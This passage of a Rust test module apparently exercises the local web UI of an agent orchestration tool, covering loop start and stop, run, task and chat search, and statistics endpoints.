17820        assert_eq!(view["last_error"], Value::Null);
17821        assert_eq!(view["daemon"]["running"], false);
17822        assert_eq!(
17823            view["repo"], "/repo/magi",
17824            "the repository a start would use, named before it is started"
17825        );
17826    }
17827
17828    #[tokio::test]
17829    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17830        let f = Fixture::start().await;
17831
17832        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17833        assert_eq!(res.status, 200, "{}", res.body);
17834        let view = res.json();
17835        assert_eq!(view["running"], true);
17836        assert_eq!(
17837            view["owned"], true,
17838            "the loop the UI started is the UI's own to stop: {view}"
17839        );
17840        assert_eq!(
17841            view["merge"],
17842            Value::Null,
17843            "no override was given, so each repository's own config decides"
17844        );
17845
17846        // The same object from the route a waking phone polls first. Two
17847        // surfaces disagreeing about whether anything is running is exactly
17848        // the confusion this UI exists to remove.
17849        let health = f.get("/api/health").await.json();
17850        assert_eq!(health["loop"]["running"], true, "{health}");
17851        assert_eq!(health["loop"]["owned"], true, "{health}");
17852
17853        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17854    }
17855
17856    #[tokio::test]
17857    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17858        let f = Fixture::start().await;
17859        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17860        assert_eq!(first.status, 200, "{}", first.body);
17861
17862        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17863        assert_eq!(
17864            again.status, 409,
17865            "two loops on one queue race for the same claims: {}",
17866            again.body
17867        );
17868        assert!(
17869            again.json()["error"]
17870                .as_str()
17871                .is_some_and(|e| e.contains("already running the loop")),
17872            "the refusal has to say why: {}",
17873            again.body
17874        );
17875        assert_eq!(
17876            f.get("/api/loop").await.json()["running"],
17877            true,
17878            "and the loop that was already running is untouched by it"
17879        );
17880
17881        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17882    }
17883
17884    #[tokio::test]
17885    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17886        let f = Fixture::start().await;
17887        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17888
17889        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17890        assert_eq!(
17891            res.status, 200,
17892            "the answer must not wait for the loop: a run in flight is tens of \
17893             minutes and the operator is holding a phone: {}",
17894            res.body
17895        );
17896
17897        let view = settled(&f, |v| v["running"] == false).await;
17898        assert_eq!(view["owned"], false);
17899        assert_eq!(
17900            view["stopping"], false,
17901            "a loop that has stopped is not still stopping: {view}"
17902        );
17903        assert_eq!(
17904            view["last_error"],
17905            Value::Null,
17906            "a loop that was asked to stop did not fail: {view}"
17907        );
17908
17909        // Idempotent, because the operator cannot tell a slow stop from a lost
17910        // one and will press it again.
17911        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17912        assert_eq!(twice.status, 200, "{}", twice.body);
17913    }
17914
17915    #[tokio::test]
17916    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17917        let f = Fixture::start().await;
17918        // How the operator has been doing it: a `magi serve` of their own,
17919        // heartbeat fresh, in the same home this UI reads.
17920        write_daemon(f.home.path(), Timestamp::now());
17921
17922        let view = f.get("/api/loop").await.json();
17923        assert_eq!(view["running"], false, "not in this process: {view}");
17924        assert_eq!(view["owned"], false, "and not this process's to control");
17925        assert_eq!(
17926            view["daemon"]["running"], true,
17927            "but a loop is alive somewhere, which is what the UI must say"
17928        );
17929        assert_eq!(view["daemon"]["pid"], 4242);
17930
17931        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17932            let res = f.post("/api/loop", Some(body)).await;
17933            assert_eq!(
17934                res.status, 409,
17935                "neither button may pretend to work on someone else's loop: {}",
17936                res.body
17937            );
17938            assert!(
17939                res.json()["error"]
17940                    .as_str()
17941                    .is_some_and(|e| e.contains("4242")),
17942                "the refusal has to name the process the operator must go to: {}",
17943                res.body
17944            );
17945        }
17946        assert_eq!(
17947            f.get("/api/loop").await.json()["running"],
17948            false,
17949            "and the refusal started nothing"
17950        );
17951    }
17952
17953    #[tokio::test]
17954    async fn a_stale_status_file_is_not_a_foreign_owner() {
17955        let f = Fixture::start().await;
17956        write_daemon(
17957            f.home.path(),
17958            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17959        );
17960
17961        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17962        assert_eq!(
17963            res.status, 200,
17964            "a daemon killed a minute ago must not lock the loop out of its \
17965             own home for good: {}",
17966            res.body
17967        );
17968        assert_eq!(res.json()["running"], true);
17969
17970        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17971    }
17972
17973    #[tokio::test]
17974    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17975        let f = Fixture::start().await;
17976        let before = f.get("/api/health").await.json()["loop_rev"]
17977            .as_u64()
17978            .expect("a loop revision");
17979
17980        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17981
17982        let after = f.get("/api/health").await.json()["loop_rev"]
17983            .as_u64()
17984            .expect("a loop revision");
17985        assert!(
17986            after > before,
17987            "the loop is in-process state, so this counter is the only thing \
17988             that tells a second device the first one started it: {before} -> \
17989             {after}"
17990        );
17991
17992        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17993    }
17994
17995    #[tokio::test]
17996    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17997        let f = Fixture::with_loop(launch_broken).await;
17998
17999        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18000        assert_eq!(
18001            res.status, 200,
18002            "starting it is not the failure: {}",
18003            res.body
18004        );
18005
18006        let view = settled(&f, |v| v["last_error"].is_string()).await;
18007        assert_eq!(
18008            view["running"], false,
18009            "a loop that died must not read as running, or the operator has \
18010             nothing to press: {view}"
18011        );
18012        assert_eq!(view["owned"], false);
18013        assert!(
18014            view["last_error"]
18015                .as_str()
18016                .is_some_and(|e| e.contains("read-only file system")),
18017            "the phone is where a loop that died at 3am is visible: {view}"
18018        );
18019
18020        // And it can be started again: the corpse was reaped, not left to
18021        // occupy the slot.
18022        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18023        assert_eq!(again.status, 200, "{}", again.body);
18024        assert!(
18025            again.json()["last_error"]
18026                .as_str()
18027                .is_none_or(|e| !e.contains("read-only file system")),
18028            "a fresh start does not keep showing why the last one died: {}",
18029            again.body
18030        );
18031    }
18032
18033    #[tokio::test]
18034    async fn a_newer_daemon_status_file_still_renders() {
18035        let f = Fixture::start().await;
18036        // A field this build has never heard of must not turn the status line
18037        // into a 500; that is the whole reason the reader is permissive.
18038        std::fs::write(
18039            f.home.path().join("daemon.json"),
18040            serde_json::json!({
18041                "schema": 2,
18042                "updated_at": Timestamp::now().to_string(),
18043                "idle": true,
18044                "surprise": { "nested": [1, 2, 3] },
18045            })
18046            .to_string(),
18047        )
18048        .expect("write daemon.json");
18049
18050        let health = f.get("/api/health").await;
18051
18052        assert_eq!(health.status, 200);
18053        assert_eq!(health.json()["daemon"]["running"], true);
18054    }
18055
18056    #[tokio::test]
18057    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18058        let f = Fixture::start().await;
18059        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18060        let broken = f.runs().join("20260902-140502-bad");
18061        std::fs::create_dir_all(&broken).expect("run dir");
18062        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18063
18064        let list = f.get("/api/runs").await;
18065        let detail = f.get("/api/runs/20260902-140502-bad").await;
18066
18067        assert_eq!(list.status, 200);
18068        let listed = list.json();
18069        let ids: Vec<&str> = listed
18070            .as_array()
18071            .expect("an array")
18072            .iter()
18073            .map(|r| r["id"].as_str().expect("an id"))
18074            .collect();
18075        assert_eq!(
18076            ids,
18077            vec!["20260902-140501-good"],
18078            "one unreadable run must not cost the operator the whole history"
18079        );
18080        assert_eq!(detail.status, 500);
18081        assert!(
18082            detail.json()["error"]
18083                .as_str()
18084                .is_some_and(|e| e.contains("run.json")),
18085            "the failure names the file to look at: {}",
18086            detail.body
18087        );
18088        // A skipped run has to be countable somewhere, or the UI shows an
18089        // empty history with nothing to explain it - which is exactly what a
18090        // directory full of older-schema runs looks like.
18091        let health = f.get("/api/health").await;
18092        assert_eq!(health.json()["runs_unreadable"], 1);
18093    }
18094
18095    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18096    #[tokio::test]
18097    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18098        let f = Fixture::start().await;
18099        let runs = f.runs();
18100        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18101        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18102        // Text three levels down, in a shape no current RunState has: an older
18103        // schema must still search.
18104        let path = runs.join("20260902-140502-bbbb").join("run.json");
18105        let mut v: serde_json::Value =
18106            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18107        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18108        std::fs::write(&path, v.to_string()).unwrap();
18109        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18110        std::fs::write(
18111            runs.join("20260902-140503-cccc").join("run.json"),
18112            "{ not json",
18113        )
18114        .unwrap();
18115
18116        let res = f.get("/api/search?scope=runs&q=quokka").await;
18117        assert_eq!(res.status, 200, "{}", res.body);
18118        let v = res.json();
18119        assert_eq!(v["total"], 1, "{v}");
18120        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18121        assert_eq!(v["hits"][0]["field"], "text");
18122        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18123        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18124        assert!(
18125            parts
18126                .iter()
18127                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18128            "{v}"
18129        );
18130        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18131        assert_eq!(
18132            flat, "The Quokka leaks across threads",
18133            "whitespace is collapsed"
18134        );
18135
18136        // Terms are ANDed, across different fields, case-insensitively.
18137        let both = f
18138            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18139            .await
18140            .json();
18141        assert_eq!(both["total"], 1, "{both}");
18142        let neither = f
18143            .get("/api/search?scope=runs&q=quokka%20zebra")
18144            .await
18145            .json();
18146        assert_eq!(neither["total"], 0, "{neither}");
18147        // Everything in the task statement is reachable, not only the row text.
18148        let stmt = f
18149            .get("/api/search?scope=runs&q=mobile%20first")
18150            .await
18151            .json();
18152        assert_eq!(stmt["total"], 2, "{stmt}");
18153        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18154        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18155    }
18156
18157    #[test]
18158    fn snippet_ignores_terms_longer_than_the_field() {
18159        let terms = ["ok".to_owned(), "elephant".to_owned()];
18160        let parts = snippet_of("ok", &terms);
18161        assert_eq!(
18162            parts,
18163            vec![SnippetPart {
18164                text: "ok".to_owned(),
18165                hit: true
18166            }]
18167        );
18168    }
18169
18170    #[test]
18171    fn snippet_marks_matches_longer_than_the_window() {
18172        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18173        let hit_len = |parts: &[SnippetPart]| -> usize {
18174            parts
18175                .iter()
18176                .filter(|p| p.hit)
18177                .map(|p| p.text.chars().count())
18178                .sum()
18179        };
18180        let total =
18181            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18182
18183        let long = "a".repeat(120);
18184        let parts = snippet_of(&long, std::slice::from_ref(&long));
18185        assert!(hit_len(&parts) > 0, "{parts:?}");
18186        assert!(total(&parts) <= cap);
18187
18188        let ja = "あ".repeat(130);
18189        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18190        assert!(hit_len(&parts) > 0, "{parts:?}");
18191        assert!(total(&parts) <= cap);
18192
18193        // A short hit, then one straddling the window's end.
18194        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18195        let term = format!("ab{}", "c".repeat(100));
18196        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18197        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18198        assert!(total(&parts) <= cap);
18199
18200        // Only the head matches: not highlighted.
18201        let text = format!("{}z", "a".repeat(119));
18202        let parts = snippet_of(&text, &["a".repeat(120)]);
18203        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18204    }
18205
18206    #[tokio::test]
18207    async fn search_caps_hits_and_snippet_length() {
18208        let f = Fixture::start().await;
18209        let runs = f.runs();
18210        for n in 0..(SEARCH_MAX_HITS + 5) {
18211            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18212        }
18213        let v = f.get("/api/search?scope=runs&q=web").await.json();
18214        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18215        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18216        assert_eq!(v["truncated"], true);
18217        // Every listed run hit carries its list row for the page's filters.
18218        assert!(
18219            v["hits"]
18220                .as_array()
18221                .unwrap()
18222                .iter()
18223                .all(|h| h["run"]["status"] == "merged")
18224        );
18225
18226        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18227        let parts = snippet_of(&long, &["needle".to_owned()]);
18228        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18229        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18230        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18231    }
18232
18233    #[tokio::test]
18234    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18235        let f = Fixture::start().await;
18236        let queue = f.queue();
18237        let mut t = Task::new(
18238            "short title".to_owned(),
18239            "line one\nthe hidden Armadillo detail".to_owned(),
18240            PathBuf::from("/repo/magi"),
18241            Source::Agent {
18242                run: "r1".to_owned(),
18243                node: "chat".to_owned(),
18244            },
18245        );
18246        t.last_error = Some("disk full on /tmp".to_owned());
18247        queue.put(&mut t).expect("file the task");
18248
18249        for (q, want) in [
18250            ("armadillo", 1),
18251            ("disk%20FULL", 1),
18252            ("chat", 1),
18253            ("queued", 1),
18254            ("short%20nothing", 0),
18255        ] {
18256            let v = f
18257                .get(&format!("/api/search?scope=tasks&q={q}"))
18258                .await
18259                .json();
18260            assert_eq!(v["total"], want, "{q}: {v}");
18261        }
18262        for bad in [
18263            "/api/search?scope=tasks&q=",
18264            "/api/search?scope=tasks&q=%20",
18265            "/api/search?scope=chats&q=",
18266            "/api/search?scope=chats&q=%20",
18267            "/api/search?scope=nope&q=a",
18268            "/api/search?q=a",
18269        ] {
18270            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18271        }
18272    }
18273
18274    /// Write one conversation file the way the store reads it back.
18275    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18276        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18277            .expect("seat value");
18278        let turns: Vec<serde_json::Value> = turns
18279            .iter()
18280            .map(|(who, body)| {
18281                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18282            })
18283            .collect();
18284        let doc = serde_json::json!({
18285            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18286            "status": status, "turns": turns,
18287            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18288            "seat": seat,
18289        });
18290        let dir = f.home.path().join("talks");
18291        std::fs::create_dir_all(&dir).expect("talks dir");
18292        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18293    }
18294
18295    #[test]
18296    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18297        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18298            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18299            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18300            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18301            "seat": crate::agent::SeatState::new("talk", "test", 1)
18302        })).unwrap();
18303        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18304        talk.title = Some(talk::ChatTitle {
18305            text: "最近の話題".into(),
18306            source: talk::TitleSource::Generated,
18307        });
18308        let doc = talk_search_doc(&talk);
18309        assert_eq!(doc["title"], "最近の話題");
18310        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18311        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18312        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18313    }
18314
18315    #[tokio::test]
18316    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18317        let f = Fixture::start().await;
18318        write_talk(
18319            &f,
18320            "20260901-000001-aaaa",
18321            "open",
18322            &[
18323                (
18324                    "operator",
18325                    "\n  Why does the Pangolin cache expire?\nsecond line",
18326                ),
18327                ("agent", "Because the TTL is thirty seconds."),
18328            ],
18329        );
18330        write_talk(
18331            &f,
18332            "20260901-000002-bbbb",
18333            "closed",
18334            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18335        );
18336        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18337
18338        let search = |q: &'static str| {
18339            let f = &f;
18340            async move {
18341                f.get(&format!("/api/search?scope=chats&q={q}"))
18342                    .await
18343                    .json()
18344            }
18345        };
18346
18347        let v = search("PANGOLIN").await;
18348        assert_eq!(v["scope"], "chats");
18349        assert_eq!(v["total"], 1, "{v}");
18350        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18351        assert_eq!(v["hits"][0]["field"], "title");
18352        assert_eq!(v["unreadable"], 1, "{v}");
18353        let marked: Vec<&str> = v["hits"][0]["snippet"]
18354            .as_array()
18355            .unwrap()
18356            .iter()
18357            .filter(|p| p["hit"] == true)
18358            .map(|p| p["text"].as_str().unwrap())
18359            .collect();
18360        assert_eq!(marked, ["Pangolin"]);
18361
18362        // An agent turn, in a closed conversation.
18363        let v = search("zebra").await;
18364        assert_eq!(v["total"], 1, "{v}");
18365        assert_eq!(v["hits"][0]["field"], "agent");
18366        // Words may sit in different turns; all must be present.
18367        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18368        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18369        // Bookkeeping is not searched.
18370        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18371            assert_eq!(search(q).await["total"], 0, "{q}");
18372        }
18373        // The first line only is the title; the second line is still a turn.
18374        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18375        // Open conversations are listed before closed ones.
18376        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18377
18378        let v = f.get("/api/search?scope=nope&q=a").await;
18379        assert_eq!(v.status, 400);
18380        assert!(
18381            v.body.contains("scope must be runs, tasks or chats"),
18382            "{}",
18383            v.body
18384        );
18385    }
18386
18387    #[test]
18388    fn a_question_card_links_a_task_id_to_the_task_page() {
18389        let start = APP_JS
18390            .find("function updateAskCard(")
18391            .expect("updateAskCard exists");
18392        let body = &APP_JS[start..];
18393        let body = &body[..body.find("\n}\n").expect("function end")];
18394        assert!(body.contains("question.run_is_task"));
18395        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18396        assert!(body.contains("`#/runs/${question.run}`"));
18397        assert!(body.contains("\"task\" : \"run\""));
18398    }
18399
18400    #[test]
18401    fn plain_text_message_surfaces_go_through_linkify() {
18402        assert!(APP_JS.contains("function linkify("));
18403        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18404        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18405        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18406        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18407        assert!(!APP_JS.contains("innerHTML = text"));
18408    }
18409
18410    #[test]
18411    fn implementation_rate_views_keep_independent_samples() {
18412        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18413            let a = stats::AgentStats {
18414                competitive_entered: competitive_n,
18415                competitive_wins: usize::from(competitive_n > 0),
18416                solo_entered: solo_n,
18417                solo_adopted: 2 * usize::from(solo_n > 0),
18418                ..Default::default()
18419            };
18420            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18421            for (key, n, numerator) in [
18422                ("competitive_win_rate", competitive_n, a.competitive_wins),
18423                ("solo_adoption_rate", solo_n, a.solo_adopted),
18424            ] {
18425                if n == 0 {
18426                    assert!(v[key].is_null());
18427                } else {
18428                    assert_eq!(v[key]["denominator"], n);
18429                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18430                }
18431            }
18432        }
18433        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18434        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18435        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18436        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18437    }
18438
18439    #[test]
18440    fn stats_bars_share_one_id_keyed_plan() {
18441        let start = APP_JS
18442            .find("function statsBarRows(")
18443            .expect("statsBarRows exists");
18444        let body = &APP_JS[start..];
18445        let body = &body[..body.find("\n}\n").expect("function end")];
18446        assert!(body.contains("statsBarPlan(rows)"));
18447        assert!(body.contains("statsAgentTone(row.agent)"));
18448        assert!(!body.contains("candTone(i)"));
18449        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18450        for root in [
18451            "stats-agents-bars",
18452            "stats-solo-bars",
18453            "stats-reviewers-bars",
18454        ] {
18455            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18456        }
18457    }
18458
18459    #[test]
18460    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18461        let start = APP_JS
18462            .find("function renderStatsReviewerScatter(")
18463            .expect("renderStatsReviewerScatter exists");
18464        let body = &APP_JS[start..];
18465        let body = &body[..body.find("\n}\n").expect("function end")];
18466        assert!(body.contains("statsScatterPlan(reviewers)"));
18467        assert!(body.contains("statsAgentTone(d.agent)"));
18468        assert!(APP_JS.contains("function statsScatterPlan("));
18469        assert!(
18470            APP_JS.contains("d.submitted < STATS_LOW_N")
18471                || APP_JS.contains("r.submitted < STATS_LOW_N")
18472        );
18473        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18474        assert!(APP_CSS.contains(".precision-scatter"));
18475    }
18476
18477    #[test]
18478    fn advisor_reflection_is_drawn_as_stacked_segments() {
18479        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18480        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18481        let html = include_str!("../assets/ui/index.html");
18482        assert!(html.contains("Approximate"));
18483        for label in ["reflected strongly", "faint", "no proposal"] {
18484            assert!(html.contains(label));
18485        }
18486        let css = include_str!("../assets/ui/app.css");
18487        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18488            assert!(css.contains(&format!(".{c} {{")));
18489        }
18490    }
18491
18492    #[test]
18493    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18494        assert!(APP_JS.contains("function statsDailyPlan("));
18495        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18496        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18497    }
18498
18499    #[test]
18500    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18501        let start = APP_JS
18502            .find("function scheduleSearch(")
18503            .expect("scheduleSearch exists");
18504        let body = &APP_JS[start..];
18505        let body = &body[..body.find("\n}\n").expect("function end")];
18506        assert!(body.contains("s.seq += 1"));
18507    }
18508
18509    /// The dashboard reads every run's state itself rather than trusting a
18510    /// separately-maintained count, so an unreadable run must be counted the
18511    /// same way `/api/health` counts it - never silently dropped the way the
18512    /// CLI's own `stats::load_all` drops it.
18513    #[tokio::test]
18514    async fn stats_runs_unreadable_matches_health() {
18515        let f = Fixture::start().await;
18516        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18517        let broken = f.runs().join("20260902-140502-bad");
18518        std::fs::create_dir_all(&broken).expect("run dir");
18519        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18520
18521        let stats = f.get("/api/stats").await;
18522        let health = f.get("/api/health").await;
18523
18524        assert_eq!(stats.status, 200);
18525        assert_eq!(stats.json()["totals"]["runs"], 1);
18526        assert_eq!(stats.json()["runs_unreadable"], 1);
18527        assert_eq!(
18528            stats.json()["runs_unreadable"],
18529            health.json()["runs_unreadable"],
18530            "the dashboard and /api/health must never disagree about how many \
18531             runs could not be read"
18532        );
18533    }
18534
18535    #[tokio::test]
18536    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18537        let f = Fixture::start().await;
18538        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18539        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18540        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18541
18542        let totals = &f.get("/api/stats").await.json()["totals"];
18543        assert_eq!(totals["runs"], 3);
18544        assert_eq!(totals["merged"], 1);
18545        assert_eq!(totals["stalled"], 1);
18546        assert_eq!(totals["in_progress"], 1);
18547        // A stalled run must never read as blocked/merged/ready - it is its
18548        // own bucket, not folded into a "decided" one.
18549        assert_eq!(totals["blocked"], 0);
18550        assert_eq!(totals["ready"], 0);
18551    }
18552
18553    #[tokio::test]
18554    async fn stats_advisors_report_proposals_and_reflection() {
18555        use crate::advise::{Advice, AdvisorRecord, Reflection};
18556        use crate::verdict::Proposal;
18557
18558        let f = Fixture::start().await;
18559        let mut state = RunState::new(
18560            PathBuf::from("/repo/magi"),
18561            "main".to_owned(),
18562            "0123456789abcdef".to_owned(),
18563            "task".to_owned(),
18564            Config::default(),
18565        );
18566        state.id = "20260902-140501-a".to_owned();
18567        state.status = RunStatus::Merged;
18568        state.advice = Some(Advice {
18569            records: vec![
18570                AdvisorRecord {
18571                    seat: "advisor-1".to_owned(),
18572                    agent: "alpha".to_owned(),
18573                    proposal: Some(Proposal {
18574                        approach: "do it".to_owned(),
18575                        key_tradeoff: "speed over memory".to_owned(),
18576                        risks: Vec::new(),
18577                        touches: Vec::new(),
18578                        why_not_naive: "breaks under load".to_owned(),
18579                    }),
18580                    error: None,
18581                    duration_ms: 0,
18582                    reflection: Reflection::Strong,
18583                },
18584                AdvisorRecord {
18585                    seat: "advisor-2".to_owned(),
18586                    agent: "alpha".to_owned(),
18587                    proposal: None,
18588                    error: Some("timed out".to_owned()),
18589                    duration_ms: 0,
18590                    reflection: Reflection::Absent,
18591                },
18592            ],
18593            synthesis: Some("blended brief".to_owned()),
18594        });
18595        let dir = f.runs().join(&state.id);
18596        std::fs::create_dir_all(&dir).expect("run dir");
18597        std::fs::write(
18598            dir.join("run.json"),
18599            serde_json::to_string_pretty(&state).expect("serialize run"),
18600        )
18601        .expect("write run.json");
18602
18603        // `alpha` is in no roster here; this test is about the rates.
18604        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18605        let alpha = advisors
18606            .as_array()
18607            .expect("an array")
18608            .iter()
18609            .find(|a| a["agent"] == "alpha")
18610            .expect("alpha row");
18611        assert_eq!(alpha["seated"], 2);
18612        assert_eq!(alpha["proposed"], 1);
18613        assert_eq!(alpha["absent"], 1);
18614        assert_eq!(alpha["strong"], 1);
18615        assert_eq!(alpha["faint"], 0);
18616        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18617    }
18618
18619    #[tokio::test]
18620    async fn stats_hides_agents_outside_the_roster_unless_all() {
18621        use crate::run::Candidate;
18622        let repo = TempDir::new().expect("repo dir");
18623        std::fs::write(
18624            repo.path().join("magi.toml"),
18625            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18626        )
18627        .expect("magi.toml");
18628        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18629        let mut state = RunState::new(
18630            PathBuf::from("/repo/magi"),
18631            "main".to_owned(),
18632            "0123456789abcdef".to_owned(),
18633            "task".to_owned(),
18634            Config::default(),
18635        );
18636        state.id = "20260902-140501-a".to_owned();
18637        state.status = RunStatus::Merged;
18638        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18639            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18640                "index": 0, "label": label.to_string(), "agent": agent,
18641                "branch": "b", "worktree": "/w",
18642            }))
18643            .expect("candidate");
18644            c.label = label;
18645            state.candidates.push(c);
18646        }
18647        let dir = f.runs().join(&state.id);
18648        std::fs::create_dir_all(&dir).expect("run dir");
18649        std::fs::write(
18650            dir.join("run.json"),
18651            serde_json::to_string_pretty(&state).expect("serialize run"),
18652        )
18653        .expect("write run.json");
18654
18655        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18656            v["agents"]
18657                .as_array()
18658                .expect("array")
18659                .iter()
18660                .map(|a| a["agent"].as_str().unwrap().to_owned())
18661                .collect()
18662        };
18663        let hidden = f.get("/api/stats").await.json();
18664        assert_eq!(agents_of(&hidden), ["keep"]);
18665        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18666        assert_eq!(hidden["totals"]["runs"], 1);
18667
18668        let all = f.get("/api/stats?all=true").await.json();
18669        assert_eq!(agents_of(&all).len(), 2);
18670        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18671        // Verify competitive and solo keys exist on agent entries
18672        let keep_agent = all["agents"]
18673            .as_array()
18674            .unwrap()
18675            .iter()
18676            .find(|a| a["agent"] == "keep")
18677            .unwrap();
18678        assert_eq!(keep_agent["competitive_entered"], 1);
18679        assert_eq!(keep_agent["competitive_wins"], 0);
